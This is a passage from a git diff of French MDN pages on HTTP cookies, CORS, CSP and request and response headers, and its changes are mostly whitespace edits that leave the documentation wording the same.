@@ -100,7 +100,7 @@ The `Vary` header was added in the version 1.1 of HTTP and is necessary in order ## Agent-driven negotiation -Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern. +Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern. From the beginnings of HTTP, the protocol allowed another negotiation type: _agent-driven negotiation_ or _reactive negotiation_. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use. diff --git a/files/fr/web/http/cookies/index.md b/files/fr/web/http/cookies/index.md index 095e6b5332..8d8b817bfd 100644 --- a/files/fr/web/http/cookies/index.md +++ b/files/fr/web/http/cookies/index.md @@ -22,21 +22,21 @@ Les cookies sont utilisés pour 3 raisons principales : - Suivi - : Enregistrement et analyse du comportement utilisateur. -Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'[API Web storage](/fr/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` et `sessionStorage`) et [IndexedDB](/fr/docs/Web/API/API_IndexedDB). +Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'[API Web storage](/fr/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` et `sessionStorage`) et [IndexedDB](/fr/docs/Web/API/API_IndexedDB). > **Note :** Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'[Inspecteur de stockage](/fr/docs/Outils/Inspecteur_de_stockage) des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox). ## Création de cookies -Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé. +Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé. -### Les entêtes `Set-Cookie` et `Cookie` +### Les entêtes `Set-Cookie` et `Cookie` -L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci: +L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci: Set-Cookie: <nom-du-cookie>=<valeur-du-cookie> -> **Note :** Voici comment utiliser l'en-tête `Set-Cookie` dans divers langages de programmation côté serveur : +> **Note :** Voici comment utiliser l'en-tête `Set-Cookie` dans divers langages de programmation côté serveur : > > - [PHP](https://secure.php.net/manual/en/function.setcookie.php) > - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) @@ -60,11 +60,11 @@ Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au ser ### Cookies de session -Le cookie créé ci-dessus est un *cookie de session* : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive `Expires` ou `Max-Age`. Notons cependant que les navigateurs web peuvent utiliser la **restauration de session**, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé. +Le cookie créé ci-dessus est un *cookie de session* : il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive `Expires` ou `Max-Age`. Notons cependant que les navigateurs web peuvent utiliser la **restauration de session**, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé. ### Cookies permanents -Plutôt que d'expirer quand le client ferme, _les cookies permanents_ expirent à une date spécifique (`Expires`) ou après un certain temps (`Max-Age`). +Plutôt que d'expirer quand le client ferme, _les cookies permanents_ expirent à une date spécifique (`Expires`) ou après un certain temps (`Max-Age`). Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; @@ -96,7 +96,7 @@ Les cookies `SameSite` laissent les serveurs exiger qu'un cookie ne soit pas env ### Accès JavaScript en utilisant `Document.cookie` -De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété {{domxref("Document.cookie")}}, et si l'option `HttpOnly` n'est pas définie, les cookies existants peuvent être également accédés via JavaScript. +De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété {{domxref("Document.cookie")}}, et si l'option `HttpOnly` n'est pas définie, les cookies existants peuvent être également accédés via JavaScript. ```js document.cookie = "yummy_cookie=choco"; @@ -158,7 +158,7 @@ Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou r Pour en savoir plus, voir [cette section Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive) et consultez les lois de l'état pour avoir des informations plus récentes et plus précises. -### Cookies Zombie et Evercookies +### Cookies Zombie et Evercookies Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'[API Web storage](/en-US/docs/Web/API/Web_Storage_API "DOM Storage"), les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée. diff --git a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md index 37bf96589a..8ddeb19c1d 100644 --- a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md +++ b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md @@ -16,7 +16,7 @@ original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas ## Symptomes - Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz » + Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz » ## Quel est le problème ? diff --git a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md index 2e32ab6224..995063774e 100644 --- a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md +++ b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md @@ -24,10 +24,10 @@ original_slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi ## Qu'est ce qui ne s'est pas bien passé ? -La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base. +La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base. ## Voir aussi -- [Erreurs CORS](/en-US/docs/Web/HTTP/CORS/Errors) +- [Erreurs CORS](/en-US/docs/Web/HTTP/CORS/Errors) - Grammaire: {{Glossary("CORS")}} - [Introduction CORS](/en-US/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md index 6896531f36..22f2269059 100644 --- a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md +++ b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md @@ -8,7 +8,7 @@ original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant ## Symptomes - Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant. + Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant. ## Quel est le problème ? diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md index 7ad0885f78..995cfb22a4 100644 --- a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md +++ b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md @@ -19,7 +19,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp ## Raison - Raison : la requête CORS n’utilise pas http. + Raison : la requête CORS n’utilise pas http. ## Qu'est ce qui n'a pas fonctionné ? diff --git a/files/fr/web/http/cors/index.md b/files/fr/web/http/cors/index.md index b9ed23bccb..659bf64956 100644 --- a/files/fr/web/http/cors/index.md +++ b/files/fr/web/http/cors/index.md @@ -12,7 +12,7 @@ translation_of: Web/HTTP/CORS --- {{HTTPSidebar}} -Le « _Cross-origin resource sharing_ » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP **multi-origine (_cross-origin_)** lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante. +Le « _Cross-origin resource sharing_ » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP **multi-origine (_cross-origin_)** lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante. Prenons un exemple de requête multi-origine : une page HTML est servie depuis `http://domaine-a.com` contient un élément [`<img> src`](/fr/docs/Web/HTML/Element/Img#attr-src) ciblant `http://domaine-b.com/image.jpg`. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (_Content Delivery Network_ en anglais ou « Réseau de diffusion de contenu »). @@ -135,7 +135,7 @@ Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domai `Access-Control-Allow-Origin: http://toto.example` -On notera que, dans ce cas, aucun autre domaine que `http://toto.example` (tel qu'identifié par l'en-tête `Origin`) ne pourra accéder à la ressource. L'en-tête `Access-Control-Allow-Origin` devrait contenir la valeur qui a été envoyée dans l'en-tête `Origin` de la requête. +On notera que, dans ce cas, aucun autre domaine que `http://toto.example` (tel qu'identifié par l'en-tête `Origin`) ne pourra accéder à la ressource. L'en-tête `Access-Control-Allow-Origin` devrait contenir la valeur qui a été envoyée dans l'en-tête `Origin` de la requête. ### Requêtes nécessitant une requête préliminaire @@ -302,7 +302,7 @@ En attendant que les navigateurs comblent ce manque, il est possible de contourn S'il n'est pas possible d'appliquer ces changements, on peut également : -1. Effectuer [une requête simple](#simples) (avec [`Response.url`](/fr/docs/Web/API/Response/url) si on utilise l'API Fetch ou [`XHR.responseURL`](/fr/docs/Web/API/XMLHttpRequest/responseURL) si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire. +1. Effectuer [une requête simple](#simples) (avec [`Response.url`](/fr/docs/Web/API/Response/url) si on utilise l'API Fetch ou [`XHR.responseURL`](/fr/docs/Web/API/XMLHttpRequest/responseURL) si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire. 2. Effectuer la requête initialement souhaitée avec l'URL _réelle_ obtenue à la première étape. Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème. diff --git a/files/fr/web/http/csp/index.md b/files/fr/web/http/csp/index.md index 69065b9743..c0a250e72f 100644 --- a/files/fr/web/http/csp/index.md +++ b/files/fr/web/http/csp/index.md @@ -22,7 +22,7 @@ Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta ### Réduction des attaques _cross site scripting_ (XSS) -L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir. +L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir. CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts _inline_ (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés. @@ -50,7 +50,7 @@ Une règle est définie par une série de directives qui décrivent chacune le c ## Exemples pour les cas courants -Cette section propose des règles CSP pour les scenarios les plus classiques. +Cette section propose des règles CSP pour les scenarios les plus classiques. ### Exemple 1 diff --git a/files/fr/web/http/headers/accept-charset/index.md b/files/fr/web/http/headers/accept-charset/index.md index 7f542ec055..06751baf66 100644 --- a/files/fr/web/http/headers/accept-charset/index.md +++ b/files/fr/web/http/headers/accept-charset/index.md @@ -38,7 +38,7 @@ Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut th - `*` - : Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '\*' utilisé comme un joker. - `;q=` (q-factor weighting) - - : Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée _weight_. + - : Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée _weight_. ## Examples @@ -62,4 +62,4 @@ Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut th - HTTP [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation) - Header avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Type")}} -- Autres Header similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}} +- Autres Header similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/headers/accept-language/index.md b/files/fr/web/http/headers/accept-language/index.md index fc23cb2c34..a9fbb018e9 100644 --- a/files/fr/web/http/headers/accept-language/index.md +++ b/files/fr/web/http/headers/accept-language/index.md @@ -11,11 +11,11 @@ translation_of: Web/HTTP/Headers/Accept-Language --- {{HTTPSidebar}} -L'en-tête **`Accept-Language`** de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la [négociation de contenu](/fr-FR/docs/Web/HTTP/Content_negotiation), le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique). +L'en-tête **`Accept-Language`** de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la [négociation de contenu](/fr-FR/docs/Web/HTTP/Content_negotiation), le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique). -Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'`Accept-Language` est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur. +Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'`Accept-Language` est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur. -Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête `Accept-Language` dans ce cas. +Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête `Accept-Language` dans ce cas. <table class="properties"> <tbody> @@ -50,11 +50,11 @@ Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriqueme - `<langue>` - : Une langue exprimée sous la forme de 2 ou 3 caractères. - `<locale>` - - : Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un`'-'`. L'information supplémentaire la plus courante est la variante de pays (telle que`'en-US'`) ou le type d'alphabet à utiliser (comme`'sr-Lat'`). D'autres variantes comme le type d'orthographe (`'de-DE-1996'`) ne sont pas habituellement utilisées dans le contexte de cet en-tête. + - : Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un`'-'`. L'information supplémentaire la plus courante est la variante de pays (telle que`'en-US'`) ou le type d'alphabet à utiliser (comme`'sr-Lat'`). D'autres variantes comme le type d'orthographe (`'de-DE-1996'`) ne sont pas habituellement utilisées dans le contexte de cet en-tête. - `*` - - : Toute langue ; `'*'` est utilisé comme un joker. + - : Toute langue ; `'*'` est utilisé comme un joker. - `;q=` (pondération q-factor) - - : Une quantité numérique donnant un ordre de préférence et qui utilise une [valeur de qualité](/en-US/docs/Glossary/Quality_values) relative, appelée _poids_. + - : Une quantité numérique donnant un ordre de préférence et qui utilise une [valeur de qualité](/en-US/docs/Glossary/Quality_values) relative, appelée _poids_. ## Exemples diff --git a/files/fr/web/http/headers/accept/index.md b/files/fr/web/http/headers/accept/index.md index 62b38864b0..aa2a915ed9 100644 --- a/files/fr/web/http/headers/accept/index.md +++ b/files/fr/web/http/headers/accept/index.md @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Headers/Accept --- {{HTTPSidebar}} -Le paramètre d'entête de requête HTTP **`Accept`** indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -([content negotiation](/en-US/docs/Web/HTTP/Content_negotiation)), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css, ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même. +Le paramètre d'entête de requête HTTP **`Accept`** indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -([content negotiation](/en-US/docs/Web/HTTP/Content_negotiation)), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css, ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même. <table class="properties"> <tbody> @@ -43,11 +43,11 @@ Le paramètre d'entête de requête HTTP **`Accept`** indique quels sont les ty ## Directives - `<MIME_type>/<MIME_subtype>` - - : Un type MIME unique et déterminé [MIME type](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types), comme par exemple `text/html`. + - : Un type MIME unique et déterminé [MIME type](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types), comme par exemple `text/html`. - `<MIME_type>/*` - - : un type MIME type ne comprenant pas de sous-type. `image/*` prendra en charge `image/png`, `image/svg`, `image/gif` et tous autres types d'image. + - : un type MIME type ne comprenant pas de sous-type. `image/*` prendra en charge `image/png`, `image/svg`, `image/gif` et tous autres types d'image. - `*/*` - - : Tout type MIME + - : Tout type MIME - `;q=` (facteur de pondération q) - : N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité ([quality value](/en-US/docs/Glossary/Quality_values)) relative appelée le _poids_. diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.md b/files/fr/web/http/headers/access-control-allow-origin/index.md index 1e4d094efd..6f51980d5e 100644 --- a/files/fr/web/http/headers/access-control-allow-origin/index.md +++ b/files/fr/web/http/headers/access-control-allow-origin/index.md @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin --- {{HTTPSidebar}} -L'entête **`Access-Control-Allow-Origin`** renvoie une réponse indiquant si les ressources peuvent être partagées avec une [origine](/fr/docs/Glossaire/Origine) donnée. +L'entête **`Access-Control-Allow-Origin`** renvoie une réponse indiquant si les ressources peuvent être partagées avec une [origine](/fr/docs/Glossaire/Origine) donnée. <table class="properties"> <tbody> @@ -31,7 +31,7 @@ L'entête **`Access-Control-Allow-Origin`** renvoie une réponse indiquant si - \* - : Pour les demandes sans informations d’identification, le serveur peut spécifier « \* » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource. - \<origin> - - : Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine. + - : Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine. ## Exemples @@ -39,13 +39,13 @@ Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous Access-Control-Allow-Origin: * -Pour permettre `https://developer.mozilla.org` d'accéder à vos ressources, vous pouvez indiquer : +Pour permettre `https://developer.mozilla.org` d'accéder à vos ressources, vous pouvez indiquer : Access-Control-Allow-Origin: https://developer.mozilla.org ### CORS et le cache -Si le serveur spécifie un hôte d'origine plutôt que "\*", il doit également inclure "_Origin_" dans l'en-tête de réponse "_[Vary](/fr/docs/Web/HTTP/Headers/Vary)_" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête. +Si le serveur spécifie un hôte d'origine plutôt que "\*", il doit également inclure "_Origin_" dans l'en-tête de réponse "_[Vary](/fr/docs/Web/HTTP/Headers/Vary)_" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête. Access-Control-Allow-Origin: https://developer.mozilla.org Vary: Origin diff --git a/files/fr/web/http/headers/access-control-request-headers/index.md b/files/fr/web/http/headers/access-control-request-headers/index.md index 0445c92aa6..52ede37abb 100644 --- a/files/fr/web/http/headers/access-control-request-headers/index.md +++ b/files/fr/web/http/headers/access-control-request-headers/index.md @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Headers/Access-Control-Request-Headers --- {{HTTPSidebar}} -L'entête **`Access-Control-Request-Headers`** est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification. +L'entête **`Access-Control-Request-Headers`** est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification. <table class="properties"> <tbody> diff --git a/files/fr/web/http/headers/cache-control/index.md b/files/fr/web/http/headers/cache-control/index.md index 067322921a..1e128fd57a 100644 --- a/files/fr/web/http/headers/cache-control/index.md +++ b/files/fr/web/http/headers/cache-control/index.md @@ -66,7 +66,7 @@ Les règles standard `Cache-Control` suivantes peuvent être utilisées par un s Cache-Control: max-age=<seconds> Cache-Control: s-maxage=<seconds> -### Extensions de `Cache-Control` +### Extensions de `Cache-Control` Les directives Extension `Cache-Control` ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la [table de compatibilité](#Browser_compatibility) ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer. diff --git a/files/fr/web/http/headers/content-disposition/index.md b/files/fr/web/http/headers/content-disposition/index.md index de52d9754e..8beb0cbe36 100644 --- a/files/fr/web/http/headers/content-disposition/index.md +++ b/files/fr/web/http/headers/content-disposition/index.md @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Headers/Content-Disposition --- {{HTTPSidebar}} -Dans une réponse HTTP régulière, l'en-tête de réponse `Content-Disposition` est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement. +Dans une réponse HTTP régulière, l'en-tête de réponse `Content-Disposition` est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement. -Dans un corps `multipart / form-data`, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite `boundary` définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, `Content-Disposition` n'a aucun effet. +Dans un corps `multipart / form-data`, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite `boundary` définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, `Content-Disposition` n'a aucun effet. L'en-tête `Content-Disposition` est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP. @@ -44,7 +44,7 @@ L'en-tête `Content-Disposition` est défini dans le contexte plus large des mes ## Syntaxe -### En tant qu'entête de réponse pour le corps principal +### En tant qu'entête de réponse pour le corps principal Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de fichier si présent. @@ -53,9 +53,9 @@ fichier si présent. Content-Disposition: attachment Content-Disposition: attachment; filename="filename.jpg" -### En tant qu'en-tête pour un corps à plusieurs parties +### En tant qu'en-tête pour un corps à plusieurs parties -Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont +Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont séparés par un point-virgule (';'). Content-Disposition: form-data Content-Disposition: form-data; @@ -70,14 +70,14 @@ Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le co Un `name` avec une valeur de `'_charset_'` indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites. `<filename>` -Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec `Content-Disposition: attachement`, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur. +Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec `Content-Disposition: attachement`, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur. `<filename*>` -Les paramètres `filename` et 